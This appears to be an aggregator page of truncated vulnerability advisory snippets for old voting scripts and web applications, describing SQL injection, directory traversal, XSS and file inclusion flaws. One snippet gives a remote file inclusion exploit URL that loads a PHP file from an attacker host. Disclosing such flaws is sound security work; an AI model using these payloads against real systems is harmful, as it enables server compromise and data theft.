Comdev Vote Caster 3.1 - 'index.php' SQL Injection

source: https://www.securityfocus.com/bid/15563/info Comdev Vote Caster is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of t...

Vote Caster 3.x SQL Inj. Vuln.

Vote Caster 3.x SQL Inj. Vuln. Vuln. dicovered by : r0t Date 23 nov. 2005 Orginal advisory:http://pridels.blogspot.com/2005/11/vote-caster-3x-sql-inj-vuln.html Vendor:http://www.comdevweb.com/ Product link:http://www.comdevweb.com/votecaster.php affected version: 3.1 and prior. Vuln. Description:...

Vote! Pro 4.x "poll_id" Sql inj.

Vote! Pro 4.x "pollid" Sql inj. Vuln. dicovered by : r0t Date: 23 nov. 2005 Orginal advisory:http://pridels.blogspot.com/2005/11/vote-pro-4x-pollid-sql-inj.html Vendor: Shedix.com Product link: http://www.vote-pro.com/ affected version: 4.x and prior. Product Description: Vote! Pro 4.0 is php...

CVE-2002-1628

Directory traversal vulnerability in vote.cgi for Mike Spice Mike's Vote CGI before 1.3 allows remote attackers to write arbitrary files via .. dot dot sequences in the type parameter...

Mike Spice's Vote does not adequately validate user input

Overview Mike Spice's Vote does not adequately validate user input, allowing directory traversal. As a result, an attacker can cause Vote to overwrite any file on the server to which the web server process has write privileges. Description Mike Spice's Vote is a CGI script written in Perl and...

Security holes : Pseudo-Frame, PG, KvPoll, Phorum, BanMat

Product 1 : Pseudo Frame 1.0 http://www.clicky-web.net Problem : - Including file Exploit : - http://www.site.com/index.php? page=http://www.haxor.com/file with file.php on http://www.haxor.com . Product 2 : PG 1.0 http://www.clicky-web.net Problems : - XSS - Path Disclosure Exploits : -...

PHP-Nuke 5.5 , Phortail 1.2.1 , Avotravis 2.1

PHP-Nuke 5.5 - Cross Site Scripting - Bad use of cookies. More details : In french : http://www.ifrance.com/kitetoua/tuto/PHPNuke55.txt Translated by Google : http://translate.google.com/translate?u=http3A 2F2Fwww.ifrance.com2Fkitetoua2Ftuto 2FPHPNuke55.txt&langpair=fr7Cen&hl=en&prev=...